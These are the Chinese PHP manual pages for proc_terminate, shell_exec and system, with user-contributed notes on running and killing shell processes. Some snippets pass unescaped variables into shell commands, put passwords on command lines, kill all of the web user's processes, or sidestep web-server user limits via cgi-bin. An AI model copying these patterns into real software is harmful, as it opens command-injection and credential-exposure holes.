  • proc_close() - 关闭由 proc_open 打开的进程并且返回进程退出码
  • proc_get_status() - 获取由 proc_open 函数打开的进程的信息

User Contributed Notes

smcbride at msn dot com 27-Jan-2021 05:35
Just a small note so people don't have to look elsewhere

To get the list of processes or find a process by name, use
$proclist = shell_exec('ps -elF') for linux
$proclist = shell_exec('tasklist') for windows

After that, you can use php normal parsing functions to get the pid
v dot denegin at yahoo dot com 17-Dec-2013 03:47
on Windows platform proc_terminate() does not kill sub-processes that are not handling kill signals. It happens even if you call xxx.exe and call proc_terminate() the process will remain active.

The solution is instead of calling proc_terminate() is to call the user-defined kill() function (already win/unix optimized)
After that need to close all pipes and execute proc_close().

function kill($pid){
    return stripos(php_uname('s'), 'win')>-1  ? exec("taskkill /F /T /PID $pid") : exec("kill -9 $pid");
}

function killall($pids) {
    $os=stripos(php_uname('s'), 'win')>-1;
    ($_=implode($os?' /PID ':' ',$pids)) or ($_=$pids);
    return preg_match('/success|close/', $os ? exec("taskkill /F /T /PID $_") : exec("kill -9 $_"));
}

Example:

$pstatus = proc_get_status($resource);
$PID = $pstatus['pid'];

// other commands

kill($PID); // instead of proc_terminate($resource);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($resource);
csh dot spam at me dot com 20-Oct-2013 09:55
/bin/sh -c CMD will fork sh and then exec CMD.
/bin/sh -c exec CMD will NOT fork and only executes CMD.

Therefore, you can get rid of this hack by prefixing your command to "exec bla bla bla".
jerhee at ucsd dot edu 23-Feb-2008 08:08
As explained in http://bugs.php.net/bug.php?id=39992, proc_terminate() leaves children of the child process running. In my application, these children often have infinite loops, so I need a sure way to kill processes created with proc_open(). When I call proc_terminate(), the /bin/sh process is killed, but the child with the infinite loop is left running.

Until proc_terminate() gets fixed, I would not recommend using it. Instead, my solution is to:
1) call proc_get_status() to get the parent pid (ppid) of the process I want to kill.
2) use ps to get all pids that have that ppid as their parent pid
3) use posix_kill() to send the SIGKILL (9) signal to each of those child pids
4) call proc_close() on process resource

<?php
$descriptorspec = array(
0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
2 => array('pipe', 'w')   // stderr is a pipe the child will write to
);
$process = proc_open('bad_program', $descriptorspec, $pipes);
if(!is_resource($process)) {
    throw new Exception('bad_program could not be started.');
}
//pass some input to the program
fwrite($pipes[0], $lots_of_data);
//close stdin. By closing stdin, the program should exit
//after it finishes processing the input
fclose($pipes[0]);

//do some other stuff ... the process will probably still be running
//if we check on it right away

$status = proc_get_status($process);
if($status['running'] == true) { //process ran too long, kill it
    //close all pipes that are still open
    fclose($pipes[1]); //stdout
    fclose($pipes[2]); //stderr
    //get the parent pid of the process we want to kill
    $ppid = $status['pid'];
    //use ps to get all the children of this process, and kill them
    $pids = preg_split('/\s+/', `ps -o pid --no-heading --ppid $ppid`);
    foreach($pids as $pid) {
        if(is_numeric($pid)) {
            echo "Killing $pid\n";
            posix_kill($pid, 9); //9 is the SIGKILL signal
        }
    }

    proc_close($process);
}

?>


通过 shell 执行命令并将完整的输出以字符串的方式返回

  • ? proc_terminate
  • system ?
  • PHP Manual
  • 程序执行函数
  • 通过 shell 执行命令并将完整的输出以字符串的方式返回

shell_exec

(PHP 4, PHP 5, PHP 7, PHP 8)

shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回

说明

shell_exec(string $command): string|false|null

本函数同执行运算符。

Note:

在 Windows 上，底层管道以文本模式打开，这可能导致函数无法进行二进制输出。考虑使用 popen() 避免这种情况。

参数

command

要执行的命令。

返回值

string 包含已执行命令的输出，如果无法建立管道，则为 false，如果发生错误或者命令不产生输出则为 null

Note:

当进程执行过程中发生错误，或者进程不产生输出的情况下，都会返回 null。使用本函数无法检测执行是否成功。当需要访问程序退出代码时，应使用 exec()。

错误／异常

无法建立管道时会产生 E_WARNING 级别的错误。

示例

Example #1 shell_exec() 示例

<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>

参见

  • exec() - 执行一个外部程序
  • escapeshellcmd() - shell 元字符转义

User Contributed Notes

shell master 10-Nov-2023 11:27
You can use a one liner to print the output of a shell script like so:

<?= shell_exec("/proof.sh"); ?>
mamedul.github.io 06-Nov-2023 11:16
Cross function solutions for execute command using PHP-

function php_exec( $cmd ){

    if( function_exists('exec') ){
        $output = array();
        $return_var = 0;
        exec($cmd, $output, $return_var);
        return implode( " ", array_values($output) );
    }else if( function_exists('shell_exec') ){
        return shell_exec($cmd);
    }else if( function_exists('system') ){
        $return_var = 0;
        return system($cmd, $return_var);
    }else if( function_exists('passthru') ){
        $return_var = 0;
        ob_start();
        passthru($cmd, $return_var);
        $output = ob_get_contents();
        ob_end_clean(); //Use this instead of ob_flush()
        return $output;
    }else  if( function_exists('proc_open') ){
        $proc=proc_open($cmd,
            array(
                array("pipe","r"),
                array("pipe","w"),
                array("pipe","w")
            ),
            $pipes);
        return stream_get_contents($pipes[1]);
    }else{
        return "@PHP_COMMAND_NOT_SUPPORT";
    }

}
Which shell? 10-Apr-2022 06:31
Does anything, anywhere mention WHICH SHELL shell_exec() runs?...on my system, it's running sh, instead of bash, which causes <() Process Substitution to fail with no error msg.

Shouldn't the docs mention which shell this function (& backticks ``) runs?
Numabyte 11-Mar-2021 06:01
An important thing to consider is in some cases, like on MacOS, using "2>&1" to properly output string from exec() works well when you wrap the command in parenthesis.

For example:
WITH PARENTHESIS AROUND CMD
$cmd = "(mysqldump -h l ocalhost -u root -ppassword --databases login_practice_db > /Users/username/Desktop/testDB.sql) 2>&1";

$sys = shell_exec($cmd ); //Works and produces an error (localhost is poorly spaced on purpose)

WITHOUT PARENTHESIS AROUND CMD
 $cmd = "mysqldump -h l ocalhost -u root -ppassword --databases login_practice_db > /Users/username/Desktop/testDB.sql 2>&1";

$sys = shell_exec($cmd ); //Does nothing and goes blank as if the result were error free. Empty string.

It's interesting how shell command execution can get down to how nuanced one might need to be with string parsing.
smcbride at msn dot com 07-Dec-2020 10:47
proc_open is probably a better solution for most use cases as of PHP 7.4.  There is better control and platform independence.  If you still want to use shell_exec(), I like to wrap it with a function that allows better control.

Something like below solves some problems with background process issues on apache/php.  It also

public function sh_exec(string $cmd, string $outputfile = "", string $pidfile = "", bool $mergestderror = true, bool $bg = false) {
  $fullcmd = $cmd;
  if(strlen($outputfile) > 0) $fullcmd .= " >> " . $outputfile;
  if($mergestderror) $fullcmd .= " 2>&1";
  if($bg) {
    $fullcmd = "nohup " . $fullcmd . " &";
    if(strlen($pidfile)) $fullcmd .= " echo $! > " . $pidfile;
  } else {
    if(strlen($pidfile) > 0) $fullcmd .= "; echo $$ > " . $pidfile;
  }
  shell_exec($fullcmd);
}
pedroxam at gmail dot com 20-Mar-2019 10:50
Here is my gist to all:

function execCommand($command, $log) {

    if (substr(php_uname(), 0, 7) == "Windows")
    {
        //windows
        pclose(popen("start /B " . $command . " 1> $log 2>&1", "r"));
    }
    else
    {
        //linux
        shell_exec( $command . " 1> $log 2>&1" );
    }

    return false;
}
ricky at rocker dot com 12-Oct-2018 10:21
despite:

shell_exec("env")

returning

SHELL=/bin/bash

I simply could not get:

shell_exec("bash command <(another bash command)")

to work. I have now got it working by forcing the bash shell using:

shell_exec("bash -c \"bash command <(another bash command)\"")
smithnigelw at gmail dot com 27-Apr-2018 02:13
With PHP on Windows, if you get the 'Warning: shell_exec() [function.shell-exec]: Unable to execute' error, then you need to check the permissions on file 'C:\WINDOWS\system32\cmd.exe'. You need read/execute permission on this file.  I would recommend using the sysinternals Process Monitor 'procmon.exe' to confirm the user that is trying to run 'cmd.exe'. Filter on 'Process Name' is 'php-cgi.exe' and 'Path' ends with 'cmd.exe'. Look at the event properties for the task with the access denied error, and it will show you the 'Impersonating' user name.  This is usually the 'Internet Guest Account', often 'NT AUTHORITY\IUSR'.
alexandre dot schmidt at gmail dot com 16-Dec-2015 02:26
To run a command in background, the output must be redirected to /dev/null. This is written in exec() manual page. There are cases where you need the output to be logged somewhere else though. Redirecting the output to a file like this didn't work for me:

<?php
# this doesn't work!
shell_exec("my_script.sh 2>&1 >> /tmp/mylog &");
?>

Using the above command still hangs web browser request.

Seems like you have to add exactly "/dev/null" to the command line. For instance, this worked:

<?php
# works, but output is lost
shell_exec("my_script.sh 2>/dev/null >/dev/null &");
?>

But I wanted the output, so I used this:

<?php
shell_exec("my_script.sh 2>&1 | tee -a /tmp/mylog 2>/dev/null >/dev/null &");
?>

Hope this helps someone.
jack dot harris-7ot2j4ip at yopmail dot Com 11-Sep-2014 01:52
On Windows, if shell_exec does NOT return the result you expected and the PC is on an enterprise network, set the Apache service (or wampapache) to run under your account instead of the 'Local system account'. Your account must have admin privileges.

To change the account go to console services, right click on the Apache service, choose properties, and select the connection tab.
wally at soggysoftware dot co dot uk 10-Aug-2012 11:39
As others have noted, shell_exec and the backtick operator (`) both return NULL if the executed command doesn't output anything.

This can be worked around by doing anything like the following:

shell_exec ("silentcmd && echo ' '");

Here we're simply outputting blank whitespace if  the command succeeds - which satisfies this slightly strange issue.  From there, you can trim() the command output etc.
trev at dedicate.co.uk 21-Oct-2011 07:34
If you're trying to run a command such as "gunzip -t" in shell_exec and getting an empty result, you might need to add 2>&1 to the end of the command, eg:

Won't always work:
echo shell_exec("gunzip -c -t $path_to_backup_file");

Should work:
echo shell_exec("gunzip -c -t $path_to_backup_file 2>&1");

In the above example, a line break at the beginning of the gunzip output seemed to prevent shell_exec printing anything else. Hope this saves someone else an hour or two.
martin at intelli-gens dot com 17-Feb-2010 03:21
Also after lots of hair pulling why shell_exec didn't want to work for me I found out that in my case some things needed to be set (which normally are set by default).

the options -jo
-j means: don't recreate the paths found in the archive
-o means: always overwrite files

And I needed to specify the destination path (even though it should unzip in the same directory when not specified), this is done by -d [path]

The strange thing was that I didn't have to put these options when I would give the command on the command-line, only when I would call it with shell_exec.

So the complete command in php would be for me:

shell_exec('unzip -jo /path_to_archive/archive.zip  -d /destination_path')

And putting en echo in front will help you a lot.
it should tell you something like this:

Archive:  /path_to_zip/archive.zip
  inflating: /destination_path/file1.jpeg
  inflating: /destination_path/file2.jpeg
  inflating: /destination_path/file3.jpeg
codeslinger at compsalot dot com 13-Jan-2010 06:47
it took me a heck of a lot of head banging to finally solve this problem so I thought that I would mention it here.

If you are using Eclipse and you try to do something like

<?php

    $out = shell_exec("php -s $File");   //this fails
?>

it will always fail when run inside of the Eclipse debugger.  This happens on both Linux and Windows.  I finally isolated the problem to changes that Eclipse makes to the environment when debugging.

The fix is to force the ini setting.  If you don't need an ini then -n is sufficient.

<?php

    $out = shell_exec("php -n -s $File");   //this works
?>

Of course if you run it outside of the debugger then it works fine without the -n.   You may want to use a debug flag to control this behavior.
joelhy 08-Apr-2009 06:29
Here is a easy way to grab STDERR and discard STDOUT:
    add  '2>&1 1> /dev/null' to the end of your shell command

For example:
<?php
$output = shell_exec('ls file_not_exist 2>&1 1> /dev/null');
?>
dburles@NOSPAMgmailDOTcom 01-Feb-2009 03:07
Easy way to capture error output in windows

// we'll execute a php script as an example:
$out = shell_exec("php test.php 2> output");
print $out ? $out : join("", file("output"));

We assume in this case if the script produces output it has ran ok, the $out variable will then contain the output, if $out is empty then we read the captured error output from a file simply called 'output'.

Hope this helps someone
Rgemini 07-Jan-2009 03:46
A simple way to handle the problem of capturing stderr output when using shell-exec under windows is to call ob_start() before the command and ob_end_clean() afterwards, like this:

<?php
ob_start()
$dir = shell_exec('dir B:');
if is_null($dir)
{   // B: does not exist
    // do whatever you want with the stderr output here
}
else
{  // B: exists and $dir holds the directory listing
   // do whatever you want with it here
}
ob_end_clean();   // get rid of the evidence :-)
?>

If B: does not exist then $dir will be Null and the output buffer will have captured the message:

  'The system cannot find the path specified'.

(under WinXP, at least). If B: exists then $dir will contain the directory listing and we probably don't care about the output buffer. In any case it needs to be deleted before proceeding.
saivert at saivert dot com 12-May-2008 08:48
How to get the volume label of a drive on Windows

<?php

function GetVolumeLabel($drive) {
  // Try to grab the volume name
  if (preg_match('#Volume in drive [a-zA-Z]* is (.*)\n#i', shell_exec('dir '.$drive.':'), $m)) {
    $volname = ' ('.$m[1].')';
  } else {
    $volname = '';
  }
return $volname;
}

print GetVolumeLabel("c");

?>

Note: The regular expression assumes a english version of Windows is in use. modify it accordingly for a different localized copy of Windows.
gabekon at gmail dot com 03-Apr-2008 08:33
RE: kamermans note,

I was having a similar problem with the PATH variable when using shell_exec. Even with a hard-coded full path to a binary, I also got an error about a .so file that could not be found. After some reading up, I realized I had to set the LD_LIBRARY_PATH variable:

<?php

$command = 'export LD_LIBRARY_PATH="' . $path_to_library_dir .'"; ' . $path_to_binary;
shell_exec($command);

?>

Hope this saves someone a headache,

- G
RoBorg 08-Nov-2007 07:45
The Subversion error "svn: Can't recode string" can be caused by the locale being wrong.  Try
<?php
putenv('LANG=en_US.UTF-8');
?>
(or whatever your preferred locale is) before you call shell_exec()
kamermans at teratechnologies dot net 15-Oct-2007 08:01
I'm not sure what shell you are going to get with this function, but you can find out like this:

<?php
$cmd = 'set';
echo "<pre>".shell_exec($cmd)."</pre>";
?>

On my FreeBSD 6.1 box I get this:

USER=root
LD_LIBRARY_PATH=/usr/local/lib/apache2:
HOME=/root
PS1='$ '
OPTIND=1
PS2='> '
LOGNAME=root
PPID=88057
PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin
SHELL=/bin/sh
IFS='
'

Very interesting.  Note that the PATH may not be as complete as you need.  I wanted to run Ghostscript via ImageMagik's "convert" and ended up having to add my path before running the command:

<?php
$cmd = 'export PATH="/usr/local/bin/"; convert -scale 25%x25% file1.pdf[0] file2.png 2>&1';
echo "<pre>".shell_exec($cmd)."</pre>";
?>

ALSO, note that shell_exec() does not grab STDERR, so use "2>&1" to redirect it to STDOUT and catch it.
eric dot peyremorte at iut-valence dot fr 05-Oct-2007 02:01
I had trouble with accented caracters and shell_exec.

ex :

Executing this command from shell :

/usr/bin/smbclient '//BREZEME/peyremor' -c 'dir' -U 'peyremor%*********' -d 0 -W 'ADMINISTRATIF' -O 'TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=8192 SO_SNDBUF=8192' -b 1200 -N 2>&1

gave me that :

Vidéos                             D        0  Tue Jun 12 14:41:21 2007
  Desktop                            DH        0  Mon Jun 18 17:41:36 2007

Using php like that :

shell_exec("/usr/bin/smbclient '//BREZEME/peyremor' -c 'dir' -U 'peyremor%*******' -d 0 -W 'ADMINISTRATIF' -O 'TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=8192 SO_SNDBUF=8192' -b 1200 -N 2>&1")

gave me that :

  Vid  Desktop                            DH        0  Mon Jun 18 17:41:36 2007

The two lines were concatenated from the place where the accent was.

I found the solution : php execute by default the command with LOCALE=C.

I just added the following lines before shell_exec and the problem was solved :

$locale = 'fr_FR.UTF-8';
setlocale(LC_ALL, $locale);
putenv('LC_ALL='.$locale);

Just adapt it to your language locale.
Paul Cook 16-Sep-2006 11:00
The technique mentioned by Nathan De Hert below is rather insecure -- you should never leave a password lying around in a file readable by the apache user.

If you need this sort of functionality on *nix systems, have a look at the /etc/sudo file (edited with the command 'visudo'). The tag NOPASSWD allows specified commands to be run as root by another user, without needing to specify a password. It's a little extra configuration, but much more secure.
ruan at nospam dot tillcor dot com 24-Aug-2006 08:31
When following Kenneth's method for executing root scripts via the nanoweb server mentioned on this page you would most likely need to be able to run a text-mode browser like lynx and pass the php script to it (works great).

After struggling for a while (lynx kept asking me to download the file instead of executing it), I realised that I had to install php-cgi additionally and modify the nanoweb config file  to use that php interpreter instead of /usr/bin/php. (On Debian this is the CLI version).

On Ubuntu 6.06:

apt-get install php5-cgi

After editing /etc/nanoweb/nanoweb.conf and a quick restart of the web server, lynx and links will execute your PHP scripts properly.

Hope this helps somebody else out there :)

Ruan Fourie
rustleb at hotmail dot com 05-Jun-2006 01:45
For capturing stdout and stderr, when you don't care about the intermediate files, I've had better results with . . .
<?php
function cmd_exec($cmd, &$stdout, &$stderr)
{
    $outfile = tempnam(".", "cmd");
    $errfile = tempnam(".", "cmd");
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("file", $outfile, "w"),
        2 => array("file", $errfile, "w")
    );
    $proc = proc_open($cmd, $descriptorspec, $pipes);

    if (!is_resource($proc)) return 255;

    fclose($pipes[0]);    //Don't really want to give any input

    $exit = proc_close($proc);
    $stdout = file($outfile);
    $stderr = file($errfile);

    unlink($outfile);
    unlink($errfile);
    return $exit;
}
?>

This isn't much different than a redirection, except it takes care of the temp files for you (you may need to change the directory from ".") and it blocks automatically due to the proc_close call.  This mimics the shell_exec behavior, plus gets you stderr.
rigsbr at yahoo dot com dot br 16-Feb-2006 06:24
If you need to execute a command without permission and could not execute it by ssh or install any extension, there is a way in Apache 1.3.x and PHP 4.
Create a file on cgi-bin directory, like this:

#!/usr/bin/php
<?
  echo shell_exec('whoami');
?>

Don't forget to set the file you created the permission to execute it. Hence, call it from browser and you will se that this script will be executed by the shell user and not the user nobody (apache default user if running a PHP script).
Ashraf Kaabi 19-Dec-2005 10:06
I've write a Full Class for Run in Background, Kill PID , check if is Running

<?php
/**
 * @author     Ashraf M Kaabi
 * @name       Advance Linux Exec
 */
class exec {
    /**
     * Run Application in background
     *
     * @param     unknown_type $Command
     * @param     unknown_type $Priority
     * @return     PID
     */
    function background($Command, $Priority = 0){
       if($Priority)
           $PID = shell_exec("nohup nice -n $Priority $Command > /dev/null & echo $!");
       else
           $PID = shell_exec("nohup $Command > /dev/null & echo $!");
       return($PID);
   }
   /**
    * Check if the Application running !
    *
    * @param     unknown_type $PID
    * @return     boolen
    */
   function is_running($PID){
       exec("ps $PID", $ProcessState);
       return(count($ProcessState) >= 2);
   }
   /**
    * Kill Application PID
    *
    * @param  unknown_type $PID
    * @return boolen
    */
   function kill($PID){
       if(exec::is_running($PID)){
           exec("kill -KILL $PID");
           return true;
       }else return false;
   }
};
?>
php [AT] jsomers [DOT] be 27-Sep-2005 06:00
<?php

/**
 * PHP Kill Process
 *
 * Sometimes, it can happen a script keeps running when it shouldn't, and it
 * won't stop after we close the browser, or shutdown the computer. Because it's
 * not always easy to use SSH there's a workaround.
 *
 * @author      Jensen Somers <php@jsomers.be>
 * @version     1.0
 */

class KillAllProcesses {
    /**
     * Construct the class
     */
    function killallprocesses() {
        $this->listItems();
    }

    /**
     * List all the items
     */
    function listItems() {
        /*
         * PS   Unix command to report process status
         * -x   Select processes without controlling ttys
         *
         * Output will look like:
         *      16479 pts/13   S      0:00 -bash
         *      21944 pts/13   R      0:00 ps -x
         *
         */
        $output =   shell_exec('ps -x');

        $this->output($output);

        // Put each individual line into an array
        $array  =   explode("\n", $output);

        $this->doKill($array);
    }

    /**
     * Print the process list
     * @param   string  $output
     */
    function output($output) {
        print   "<pre>".$output."</pre>";
    }

    /**
     * Kill all the processes
     * It should be possible to filter in this, but I won't do it now.
     * @param   array   $array
     */
    function doKill($array) {
        /*
         * Because the first line of our $output will look like
         *        PID TTY      STAT   TIME COMMAND
         * we'll skip this one.
         */
        for ($i = 1; $i < count($array); $i++) {
            $id =   substr($array[$i], 0, strpos($array[$i], ' ?'));
            shell_exec('kill '.$id);
        }
    }
}

new KillAllProcesses();

?>

It's not the very best solution, but I've used it a couple of times when I needed to do it quick without to much trouble.
Make not I kill all the processes, on my server px -x will only return like 4 times /sbin/apache and it's pretty safe to kill them without any trouble.
concept at conceptonline dot hu 19-Sep-2005 02:02
Interestingly, if you execute a script which is not in your path (or you have made a typo, or if the script does no exist at all), you will get no return value. The error will be logged into the error_log of your webserver.

Someone could add a note how this can be (if it could be) overriden, as the standard behaviour is not really fool-proof.
phillipberry at NOSPAM dot blisswebhosting dot com 11-Apr-2005 01:13
I found something odd.

If you run exec then straight after shell_exec the shell_exec will simply not run and will return NULL.

To get it to work i put a sleep(5) after the exec and now shell_exec works fine.
03-Jan-2005 09:10
Be careful as to how you elevate privileges to your php script.  It's a good idea to use caution and planing.  It is easy to open up huge security holes.  Here are a couple of helpful hints I've gathered from experimentation and Unix documentation.

Things to think about:

1. If you are running php as an Apache module in Unix then every system command you run is run as user apache.  This just makes sense.. Unix won't allow privileges to be elevated in this manner.  If you need to run a system command with elevated privileges think through the problem carefully!

2. You are absolutely insane if you decide to run apache as root.  You may as well kick yourself in the face.  There is always a better way to do it.

3. If you decide to use a SUID it is best not to SUID a script.  SUID is disabled for scripts on many flavors of Unix.  SUID scripts open up security holes, so you don't always want to go this route even if it is an option.  Write a simple binary and elevate the privileges of the binary as a SUID.  In my own opinion it is a horrible idea to pass a system command through a SUID-- ie have the SUID accept the name of a command as a parameter.  You may as well run Apache as root!
James McCormack 05-Aug-2004 01:50
I had a perl program which ran fine from command line but not using shell_exec(), exec() or system() - nothing was being returned. I was using the full path and permissions were set correctly.

It turned out the perl program was using more memory than my PHP.INI file was set to allow. Increasing "memory_limit" solved the problem.
Martin Rampersad 11-Jan-2004 01:13
I have PHP (CGI) and Apache. I also shell_exec() shell scripts which use PHP CLI. This combination destroys the string value returned from the call. I get binary garbage.  Shell scripts that start with #!/usr/bin/bash return their output properly.

A solution is to force a clean environment.  PHP CLI no longer had the CGI environment variables to choke on.

<?php

// Binary garbage.
$ExhibitA = shell_exec('/home/www/myscript');

// Perfect.
$ExhibitB = shell_exec('env -i /home/www/myscript');

?>

-- start /home/www/myscript
#!/usr/local/bin/phpcli
<?php

echo("Output.\n");

?>
-- end /home/www/myscript
jessop <AT> bigfoot <DOT> com 03-Dec-2003 12:19
Just a quick reminder for those trying to use shell_exec on a unix-type platform and can't seem to get it to work. PHP executes as the web user on the system (generally www for Apache), so you need to make sure that the web user has rights to whatever files or directories that you are trying to use in the shell_exec command. Other wise, it won't appear to be doing anything.
mcbeth at broggs dot org 14-Apr-2003 02:18
As far as error checking on the last example.  Several of the shells have the && operator, so you just string your commands together using it instead of ; If at any time any of the programs fail, you will return without running the rest
tonysb at gmx dot net 30-Mar-2002 12:57
shell_exec is extremely useful as a substitute for the virtual() function where unavailable (Microsoft IIS for example). All you have to do is remove the content type string sent in the header:

<?
$mstrng = shell_exec('yourcgiscript.cgi');
$mstrng = ereg_replace( "Content-type: text/html", "", $mstrng );
echo $mstrng;
?>

This works fine for me as a substitute for SSI or the virtual() func.

Anton Babadjanov
http://www.vbcn.com.ar


执行外部程序，并且显示输出

  • ? shell_exec
  • parallel ?
  • PHP Manual
  • 程序执行函数
  • 执行外部程序，并且显示输出

system

(PHP 4, PHP 5, PHP 7, PHP 8)

system — 执行外部程序，并且显示输出

说明

system(string $command, int &$result_code = null): string|false

同 C 版本的 system() 函数一样，本函数执行 command 参数所指定的命令，并且输出执行结果。

如果 PHP 运行在服务器模块中，system() 函数还会尝试在每行输出完毕之后，自动刷新 web 服务器的输出缓存。

如果要获取一个命令未经任何处理的原始输出，请使用 passthru() 函数。

参数

command

要执行的命令。

result_code

如果提供 result_code 参数，则外部命令执行后的返回状态将会被设置到此变量中。

返回值

成功则返回命令输出的最后一行，失败则返回 false

示例

Example #1 system() 示例

<?php
echo '<pre>';

// 输出 shell 命令 "ls" 的返回结果
// 并且将输出的最后一样内容返回到 $last_line。
// 将命令的返回值保存到 $retval。
$last_line = system('ls', $retval);

// 打印更多信息
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>

注释

Warning

当传入用户提供的数据到本函数时，应使用 escapeshellarg() 或 escapeshellcmd() 来防止用户欺骗系统执行任意命令。

Note:

如何程序使用此函数启动，为了能保持在后台运行，此程序必须将输出重定向到文件或其它输出流。否则会导致 PHP 挂起，直至程序执行结束。

参见

  • exec() - 执行一个外部程序
  • passthru() - 执行外部程序并且显示原始输出
  • popen() - 打开进程文件指针
  • escapeshellcmd() - shell 元字符转义
  • pcntl_exec() - 在当前进程空间执行指定程序
  • 执行运算符

User Contributed Notes

Anonoymous 11-Apr-2019 11:06
Windows commands requiring a GUI.

Alot of the info on this topic is from the 2010-2012 time frame and referring to XP, and basically don't work.  I am using apache/php/mysql in windows 7.

When requiring a system command in windows with a GUI - such as a labview executable, notepad, etc..., others have mentioned the psexec command from sysinternals, since cmd /c wont work, but the specific use was not real clearly defined.  Here is what worked for me on windows 7:

system('C:/nttools/2019/psexec \\\\10.100.100.101 -i  -u administrator -p password -accepteula -nobanner C:\\htdocs\\test\\test.bat');

The path to the psexec executable is with forward slashes, the remote PC network location (which was actually the local PC, not remote) was \\ip_address with an extra backslash for each backslash so that required the 4 \'s.

The path for the command to be executed by psexec required backslashes, which also requires double backslashes.

The -i option is for an interactive program, and is required for it to properly run, otherwise it show up in the taskmanager but not be visable or execute properly if given command line arguments.

The -accepteula -nobanner is to suppress the sysinternals message box about their license.

My command to execute is really long with multiple command line inputs with many surrounded in double quotes, so I thought it would be easiest to put that in a batch file and just call the bat file.  Works great, remote users loading the webpage causes the executable to pop up on the web server, do its analysis and disappear.  Labview can read native excel files with active-x functions and write to a mysql data base to store results etc, so thats a pretty powerful combination of functions.
Alastair Irvine 11-Dec-2017 02:10
Note that system() returns FALSE on failure, but this does NOT happen when the command returned a non-zero exit code.  system() won't even fail if the command isn't found.  (bash returns exit code 127 in this case.)  I assume system() only returns FALSE when something seriously bad happens, like not being able to run your shell.
no at mail dot com 19-May-2012 10:06
This is for WINDOWS users. I am running apache and I have been trying for hours now to capture the output of a command.

I'd tried everything that is written here and then continued searching online with no luck at all. The output of the command was never captured. All I got was an empty array.

Finally, I found a comment in a blog by a certain amazing guy that solved my problems.

Adding the string ' 2>&1' to the command name finally returned the output!! This works in exec() as well as system() in PHP since it uses stream redirection to redirect the output to the correct place!

system("yourCommandName 2>&1",$output) ;
kexianin at diyism dot com 02-Dec-2009 11:41
If you can't see any output or error from system(), shell_exec() etc, you could try this:

<?php
function my_exec($cmd, $input='')
         {$proc=proc_open($cmd, array(0=>array('pipe', 'r'), 1=>array('pipe', 'w'), 2=>array('pipe', 'w')), $pipes);
          fwrite($pipes[0], $input);fclose($pipes[0]);
          $stdout=stream_get_contents($pipes[1]);fclose($pipes[1]);
          $stderr=stream_get_contents($pipes[2]);fclose($pipes[2]);
          $rtn=proc_close($proc);
          return array('stdout'=>$stdout,
                       'stderr'=>$stderr,
                       'return'=>$rtn
                      );
         }
var_export(my_exec('echo -e $(</dev/stdin) | wc -l', 'h\\nel\\nlo'));
?>

For example, "echo shell_exec('ls');" will get nothing output,
"my_exec('ls');" will get "sh: ls: command not found",
"my_exec('/bin/ls');" will maybe get "sh: /bin/ls: Permission denied",
and the permission may be caused by selinux.
grytolle at gmail dot com 03-May-2009 10:12
This is a work-around that makes the program run in it's own directory instead of the script's.

example usage:
<?php runAsynchronously("c:\games\jazz2\jazz2.exe","-connect 1.2.3.4"); ?>

<?php
function runAsynchronously($path,$arguments) {
    $WshShell = new COM("WScript.Shell");
    $oShellLink = $WshShell->CreateShortcut("temp.lnk");
    $oShellLink->TargetPath = $path;
    $oShellLink->Arguments = $arguments;
    $oShellLink->WorkingDirectory = dirname($path);
    $oShellLink->WindowStyle = 1;
    $oShellLink->Save();
    $oExec = $WshShell->Run("temp.lnk", 7, false);
    unset($WshShell,$oShellLink,$oExec);
    unlink("temp.lnk");
}
?>
Daniel Morris (danielxmorris.com) 02-Jun-2008 06:34
How to produce a system beep with PHP.

<?php
        function beep ($int_beeps = 1) {
            for ($i = 0; $i < $int_beeps; $i++): $string_beeps .= "\x07"; endfor;
            isset ($_SERVER['SERVER_PROTOCOL']) ? false : print $string_beeps;
        }

?>

This will not do anything when running through a browser, if running through a shell it will produce an audible beep $int_beeps times.  This should work on Windows, Unix, etc.
vlad dot sharanhovich at gmail dot com 09-Apr-2008 12:33
The double quote problem on Windows platform discussed earlier here in comments still present in PHP 5.2.5. You can't execute system($command) if $command contains more than 2 " chars. system('"echo" A'); works, while system('"echo" "A"'); does not. Search comment, that was a solution posted to overhaul this issue via temporary .bat file.
timgolding_10 at hotmail dot com 20-Jul-2007 07:19
An example of using the system to call the file command on a linux server. This script detects whether a user posted file is a jpeg, gif or png

<?PHP

$accepted_types=array("JPEG" , "GIF", "PNG");

    // The temporary filename of the file in which the uploaded file was stored on the server.
if(!empty($_FILES["uploadedfile"]))
  {
    $uploaddir = $_SERVER['DOCUMENT_ROOT']."/images/";
    $uploaddir.=basename( $_FILES['uploadedfile']['name']);

 //verfiy file using linux FILE command
 $last_line = system('file '.escapeshellarg($_FILES['uploadedfile']['tmp_name']), $retval);

 //get the file extension returned through magic database
 $splitvals=explode(' image data' ,  $last_line);
 $vals=explode(':', $splitvals[0]);
 $vals[1]=str_replace(' ','', $vals[1]);

 if (in_array($vals[1], $accepted_types))
 {
    echo $vals[1].' was accepted <br />';
        if(!file_exists($uploaddir)){
            //Copy the file to some permanent location
            if(move_uploaded_file($_FILES["uploadedfile"]["tmp_name"], $uploaddir))
             {
              echo $uploaddir." was uploaded! <br />";
             }
            else
             {
              echo "There was a problem when uploding the new file, please contact admin about this.";
             }
        }
        else echo 'This file already exists in DB please rename file before uploading';
}
}else echo $_FILES['uploadedfile']['error'].'<br />';
?>
dan at thecsl dot org 29-May-2006 08:45
You probably want to check your system calls for errors. The convention is to return 0  for "no error" which is the same as FALSE which can be confusing. You need to do something like:

<?php
  $cmd = "/usr/bin/pngtopnm $png_file > $pnm_file";
  system($cmd,$return_value);
  ($return_value == 0) or die("returned an error: $cmd");
?>
vdweij at hotmail dot com 09-Aug-2005 02:41
It is possible to only capture the error stream (STERR). Here it goes...

(some_command par1 par2 > /dev/null) 3>&1 1>&2 2>&3

-First STDOUT is redirected to /dev/null.
-By using parenthesis it is possible to gain control over STERR and STOUT again.
-Then switch STERR with STOUT.

